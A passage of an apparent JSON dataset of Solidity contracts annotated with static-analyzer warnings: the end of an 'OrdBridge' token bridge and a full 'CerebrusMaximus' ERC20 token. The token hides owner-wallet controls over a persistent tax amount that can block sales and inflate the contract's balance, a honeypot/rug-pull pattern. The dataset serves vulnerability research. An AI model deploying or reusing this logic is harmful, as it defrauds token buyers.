pendingCounts[pendingIndex] = mintableERCTokens[\n uppercaseTicker\n ][wallet];\n\n pendingIndex++;\n }\n }\n\n assembly {\n mstore(pendingTickers, pendingIndex)\n\n mstore(pendingCounts, pendingIndex)\n }\n\n return (pendingTickers, pendingCounts);\n }\n\n function getBurnForBRCEntriesToProcess(\n uint256 count\n )\n external\n view\n returns (\n BurnForBRCEntry[] memory entries,\n uint256 entriesCount,\n uint256 totalEntriesToProcess\n )\n {\n require(count > 0, \"Invalid count\");\n\n totalEntriesToProcess = getBurnForBRCEntriesCountToProcess();\n\n entriesCount = totalEntriesToProcess < count\n ? totalEntriesToProcess\n : count;\n\n entries = new BurnForBRCEntry[](entriesCount);\n\n uint[] memory setEntry = burnEntriesSet.values();\n\n for (\n uint index = 0;\n index < totalEntriesToProcess && index < entriesCount;\n index += 1\n ) {\n entries[index] = burnEntriesMap[setEntry[index]];\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 071b7c7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 071b7c7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function claimERCEntryForWallet(\n string memory ticker\n ) external whenNotPaused nonReentrant {\n string memory uppercaseTicker = uppercase(ticker);\n\n require(mintableERCTokens[uppercaseTicker][msg.sender] > 0, \"No entry\");\n\n if (tokenContracts[uppercaseTicker] == address(0)) {\n uint256 _initialMaxSupplyForTicker = maxSupplyForTicker[\n uppercaseTicker\n ];\n\n require(_initialMaxSupplyForTicker > 0, \"Initial supply not set\");\n\n ZUTToken token = new ZUTToken(\n uppercaseTicker,\n _initialMaxSupplyForTicker,\n taxPercentage,\n taxDestination,\n uniAddy\n );\n\n tokenContracts[uppercaseTicker] = address(token);\n\n emit ERCTokenContractCreated(uppercaseTicker, address(token));\n }\n\n uint256 feeTokenAmount = (mintableERCTokens[uppercaseTicker][\n msg.sender\n ] * TOKEN_FEE_PERCENT_IN_BPS) / 10000;\n\n uint256 userTokenAmount = mintableERCTokens[uppercaseTicker][\n msg.sender\n ] - feeTokenAmount;\n\n\t\t// reentrancy-no-eth | ID: 071b7c7\n ZUTToken(tokenContracts[uppercaseTicker]).mintTo(\n feeRecipient,\n feeTokenAmount\n );\n\n\t\t// reentrancy-no-eth | ID: 071b7c7\n ZUTToken(tokenContracts[uppercaseTicker]).mintTo(\n msg.sender,\n userTokenAmount\n );\n\n emit MintableERCEntryClaimed(\n uppercaseTicker,\n msg.sender,\n mintableERCTokens[uppercaseTicker][msg.sender],\n userTokenAmount,\n feeTokenAmount\n );\n\n\t\t// reentrancy-no-eth | ID: 071b7c7\n delete mintableERCTokens[uppercaseTicker][msg.sender];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: bb8dee4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for bb8dee4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: fa8876a): OrdBridge.burnERCTokenForBRC(string,string,uint256,string) ignores return value by burnEntriesSet.add(counters.current())\n\t// Recommendation for fa8876a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 779ef77): OrdBridge.burnERCTokenForBRC(string,string,uint256,string) sends eth to arbitrary user Dangerous calls (success,None) = feeRecipient.call{value BURN_ETH_FEE}()\n\t// Recommendation for 779ef77: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function burnERCTokenForBRC(\n string calldata chain,\n string calldata ticker,\n uint256 amount,\n string calldata addr\n ) external payable nonReentrant whenNotPaused {\n string memory uppercaseTicker = uppercase(ticker);\n\n require(msg.value == BURN_ETH_FEE, \"Incorrect fee\");\n\n\t\t// reentrancy-benign | ID: bb8dee4\n\t\t// arbitrary-send-eth | ID: 779ef77\n (bool success, ) = feeRecipient.call{value: BURN_ETH_FEE}(\"\");\n\n require(success, \"Fee recipient call failed\");\n\n require(\n tokenContracts[uppercaseTicker] != address(0),\n \"Invalid ticker\"\n );\n\n\t\t// reentrancy-benign | ID: bb8dee4\n ZUTToken(tokenContracts[uppercaseTicker]).burnFrom(msg.sender, amount);\n\n counters.increment();\n\n\t\t// unused-return | ID: fa8876a\n burnEntriesSet.add(counters.current());\n\n\t\t// reentrancy-benign | ID: bb8dee4\n burnEntriesMap[counters.current()] = BurnForBRCEntry(\n counters.current(),\n chain,\n uppercaseTicker,\n msg.sender,\n amount,\n addr\n );\n\n emit BurnForBRCEntryAdded(\n chain,\n uppercaseTicker,\n msg.sender,\n addr,\n counters.current(),\n amount\n );\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: cc8854d): OrdBridge.markBurnForBRCEntriesAsProcessed(uint256[]) ignores return value by burnEntriesSet.remove(id)\n\t// Recommendation for cc8854d: Ensure that all the return values of the function calls are used.\n function markBurnForBRCEntriesAsProcessed(\n uint256[] calldata ids\n ) external onlyOwner {\n for (uint256 index = 0; index < ids.length; index++) {\n uint256 id = ids[index];\n\n require(id <= counters.current(), \"Invalid id\");\n\n BurnForBRCEntry memory burnForBRCEntry = burnEntriesMap[id];\n\n emit BurnForBRCEntryProcessed(\n burnForBRCEntry.chain,\n burnForBRCEntry.ticker,\n burnForBRCEntry.user,\n burnForBRCEntry.addr,\n id,\n burnForBRCEntry.amount\n );\n\n\t\t\t// unused-return | ID: cc8854d\n burnEntriesSet.remove(id);\n\n delete burnEntriesMap[id];\n }\n }\n\n function uppercase(\n string memory ticker\n ) internal pure returns (string memory) {\n bytes memory tickerBytes = bytes(ticker);\n\n for (uint256 i = 0; i < tickerBytes.length; i++) {\n if (\n (uint8(tickerBytes[i]) >= 97) && (uint8(tickerBytes[i]) <= 122)\n ) {\n tickerBytes[i] = bytes1(uint8(tickerBytes[i]) - 32);\n }\n }\n\n return string(tickerBytes);\n }\n\n function addMintERCEntries(\n string[] calldata requestedBRCTickers,\n uint256[] calldata amounts,\n address[] calldata users,\n string[] calldata txIds,\n uint256[] calldata initialMaxSupplies\n ) external onlyOwner {\n require(\n requestedBRCTickers.length > 0 &&\n requestedBRCTickers.length == amounts.length &&\n requestedBRCTickers.length == users.length &&\n requestedBRCTickers.length == txIds.length,\n \"Invalid params\"\n );\n\n for (uint256 index = 0; index < requestedBRCTickers.length; index++) {\n if (txIdsMap[txIds[index]] == false) {\n string memory uppercaseTicker = uppercase(\n requestedBRCTickers[index]\n );\n\n mintableERCTokens[uppercaseTicker][users[index]] += amounts[\n index\n ];\n\n if (maxSupplyForTicker[uppercaseTicker] == 0) {\n maxSupplyForTicker[uppercaseTicker] = initialMaxSupplies[\n index\n ];\n }\n\n txIdsMap[txIds[index]] = true;\n\n emit MintableERCEntryAdded(\n uppercaseTicker,\n users[index],\n amounts[index],\n txIds[index]\n );\n }\n }\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 06f1358): OrdBridge.updateBurnEthFee(uint256) should emit an event for BURN_ETH_FEE = _BURN_ETH_FEE \n\t// Recommendation for 06f1358: Emit an event for critical parameter changes.\n function updateBurnEthFee(uint256 _BURN_ETH_FEE) external onlyOwner {\n\t\t// events-maths | ID: 06f1358\n BURN_ETH_FEE = _BURN_ETH_FEE;\n }\n\n function updateFeeRecipient(address _feeRecipient) external onlyOwner {\n require(_feeRecipient != address(0), \"Invalid _feeRecipient\");\n\n feeRecipient = _feeRecipient;\n }\n\n function setTaxDestination(address _taxDestination) external onlyOwner {\n require(_taxDestination != address(0), \"Invalid tax destination\");\n\n taxDestination = _taxDestination;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: d7cd34a): OrdBridge.setTaxPercentage(uint256) should emit an event for taxPercentage = _taxPercentage \n\t// Recommendation for d7cd34a: Emit an event for critical parameter changes.\n function setTaxPercentage(uint256 _taxPercentage) external onlyOwner {\n require(_taxPercentage <= 100, \"Tax percentage must be <= 100\");\n\n\t\t// events-maths | ID: d7cd34a\n taxPercentage = _taxPercentage;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1d49306): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1d49306: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function setTaxDestinationForToken(\n address _taxDestination,\n address _token\n ) external onlyOwner {\n require(_taxDestination != address(0), \"Invalid tax destination\");\n\n\t\t// reentrancy-benign | ID: 1d49306\n ZUTToken(_token).setTaxDestination(_taxDestination);\n\n\t\t// reentrancy-benign | ID: 1d49306\n taxDestination = _taxDestination;\n }\n\n function setTaxPercentageForToken(\n uint256 _taxPercentage,\n address _token\n ) external onlyOwner {\n require(_taxPercentage <= 100, \"Tax percentage must be <= 100\");\n\n ZUTToken(_token).setTaxPercentage(_taxPercentage);\n }\n\n function setUnisatAddyForToken(\n address _uniaddy,\n address _token\n ) external onlyOwner {\n require(_uniaddy != address(0), \"Invalid tax destination\");\n\n ZUTToken(_token).setUnisatAddy(_uniaddy);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 5bf21f4): OrdBridge.withdrawToken(address,address) ignores return value by ZUTToken(_token).transfer(destination,ZUTToken(_token).balanceOf(address(this)))\n\t// Recommendation for 5bf21f4: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function withdrawToken(\n address _token,\n address destination\n ) external onlyOwner {\n\t\t// unchecked-transfer | ID: 5bf21f4\n ZUTToken(_token).transfer(\n destination,\n ZUTToken(_token).balanceOf(address(this))\n );\n }\n\n function withdrawMoney() external onlyOwner {\n (bool success, ) = msg.sender.call{value: address(this).balance}(\"\");\n\n require(success, \"Transfer failed.\");\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 231023e): OrdBridge.updateHandlingFeesInTokenPercent(uint256) should emit an event for TOKEN_FEE_PERCENT_IN_BPS = _TOKEN_FEE_PERCENT_IN_BPS \n\t// Recommendation for 231023e: Emit an event for critical parameter changes.\n function updateHandlingFeesInTokenPercent(\n uint256 _TOKEN_FEE_PERCENT_IN_BPS\n ) external onlyOwner {\n require(\n _TOKEN_FEE_PERCENT_IN_BPS < 10000,\n \"Invalid _TOKEN_FEE_PERCENT_IN_BPS\"\n );\n\n\t\t// events-maths | ID: 231023e\n TOKEN_FEE_PERCENT_IN_BPS = _TOKEN_FEE_PERCENT_IN_BPS;\n }\n\n function pause() external onlyOwner whenNotPaused {\n _pause();\n\n emit Pause();\n }\n\n function unpause() external onlyOwner whenPaused {\n _unpause();\n\n emit Unpause();\n }\n\n function _authorizeUpgrade(\n address newImplementation\n ) internal override onlyOwner {}\n}\n",
"file_name": "solidity_code_10213.sol",
"size_bytes": 70677,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: d440ae1): CerebrusMaximus.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = (_tTotal * 5) / 10000 _maxTaxSwap = _taxSwapThreshold * 40\n// Recommendation for d440ae1: Consider ordering multiplication before division.\ncontract CerebrusMaximus is Context, Ownable, IERC20 {\n using SafeMath for uint256;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 276c246): CerebrusMaximus._taxWallet should be immutable \n\t// Recommendation for 276c246: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 225dfbd): CerebrusMaximus._initialBuyTax should be constant \n\t// Recommendation for 225dfbd: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: c9ff12b): CerebrusMaximus._initialSellTax should be constant \n\t// Recommendation for c9ff12b: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: b181fe8): CerebrusMaximus._finalBuyTax should be constant \n\t// Recommendation for b181fe8: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 27671d4): CerebrusMaximus._finalSellTax should be constant \n\t// Recommendation for 27671d4: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d0f1cc7): CerebrusMaximus._reduceBuyTaxAt should be constant \n\t// Recommendation for d0f1cc7: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 27;\n\n\t// WARNING Optimization Issue (constable-states | ID: 47a2e9f): CerebrusMaximus._reduceSellTaxAt should be constant \n\t// Recommendation for 47a2e9f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 24;\n\n\t// WARNING Optimization Issue (constable-states | ID: c666906): CerebrusMaximus._preventSwapBefore should be constant \n\t// Recommendation for c666906: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 27;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Cerebrus Maximus\";\n\n string private constant _symbol = unicode\"BRAIN\";\n\n uint256 public _maxTxAmount = (_tTotal * 2) / 100;\n\n uint256 public _maxWalletSize = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4b56d6c): CerebrusMaximus._taxSwapThreshold should be constant \n\t// Recommendation for 4b56d6c: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: d440ae1\n uint256 public _taxSwapThreshold = (_tTotal * 5) / 10000;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2c77c74): CerebrusMaximus._maxTaxSwap should be immutable \n\t// Recommendation for 2c77c74: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n\t// divide-before-multiply | ID: d440ae1\n uint256 public _maxTaxSwap = _taxSwapThreshold * 40;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private limitsInEffect = true;\n\n uint256 private taxAmount;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ddcc9ce): CerebrusMaximus.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for ddcc9ce: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0913101): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0913101: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 71920a0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 71920a0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 0913101\n\t\t// reentrancy-benign | ID: 71920a0\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 0913101\n\t\t// reentrancy-benign | ID: 71920a0\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a5a8f37): CerebrusMaximus._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a5a8f37: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 71920a0\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 0913101\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3092052): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3092052: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f7b5bb5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f7b5bb5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4d2a346): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4d2a346: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (\n from != owner() &&\n to != owner() &&\n to != _taxWallet &&\n limitsInEffect\n ) {\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount >= _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 3092052\n\t\t\t\t// reentrancy-benign | ID: f7b5bb5\n\t\t\t\t// reentrancy-eth | ID: 4d2a346\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 3092052\n\t\t\t\t\t// reentrancy-eth | ID: 4d2a346\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 4d2a346\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-benign | ID: f7b5bb5\n if (!limitsInEffect) taxAmount = 0;\n\n\t\t\t// reentrancy-events | ID: 3092052\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 4d2a346\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 4d2a346\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 3092052\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function removeMaxBagLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function releaseMindBoundaries() external {\n limitsInEffect = false;\n\n require(_msgSender() == _taxWallet);\n }\n\n function setSwapBackSetting(uint256 swapThreshold, bool enabled) external {\n require(_msgSender() == _taxWallet);\n\n swapEnabled = enabled;\n\n taxAmount = swapThreshold;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 813fa90): CerebrusMaximus.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 813fa90: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 0913101\n\t\t// reentrancy-events | ID: 3092052\n\t\t// reentrancy-eth | ID: 4d2a346\n\t\t// arbitrary-send-eth | ID: 813fa90\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3070205): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3070205: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 98aa45e): CerebrusMaximus.startTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 98aa45e: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1f30f27): CerebrusMaximus.startTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 1f30f27: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 391eb10): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 391eb10: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function startTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n if (\n IUniswapV2Factory(uniswapV2Router.factory()).getPair(\n uniswapV2Router.WETH(),\n address(this)\n ) == address(0)\n ) {\n\t\t\t// reentrancy-benign | ID: 3070205\n\t\t\t// reentrancy-eth | ID: 391eb10\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .createPair(uniswapV2Router.WETH(), address(this));\n } else {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(uniswapV2Router.WETH(), address(this));\n }\n\n\t\t// reentrancy-benign | ID: 3070205\n\t\t// unused-return | ID: 1f30f27\n\t\t// reentrancy-eth | ID: 391eb10\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 3070205\n\t\t// unused-return | ID: 98aa45e\n\t\t// reentrancy-eth | ID: 391eb10\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 3070205\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 391eb10\n tradingOpen = true;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 0913101\n\t\t// reentrancy-events | ID: 3092052\n\t\t// reentrancy-benign | ID: 71920a0\n\t\t// reentrancy-benign | ID: f7b5bb5\n\t\t// reentrancy-eth | ID: 4d2a346\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 061b459): CerebrusMaximus.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for 061b459: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external onlyOwner {\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: 061b459\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwapExecution(uint256 tokenAmount) external {\n require(_msgSender() == _taxWallet);\n\n if (tokenAmount > 0 && swapEnabled) {\n swapTokensForEth(tokenAmount);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10214.sol",
"size_bytes": 21826,
"vulnerability": 4
} |
{
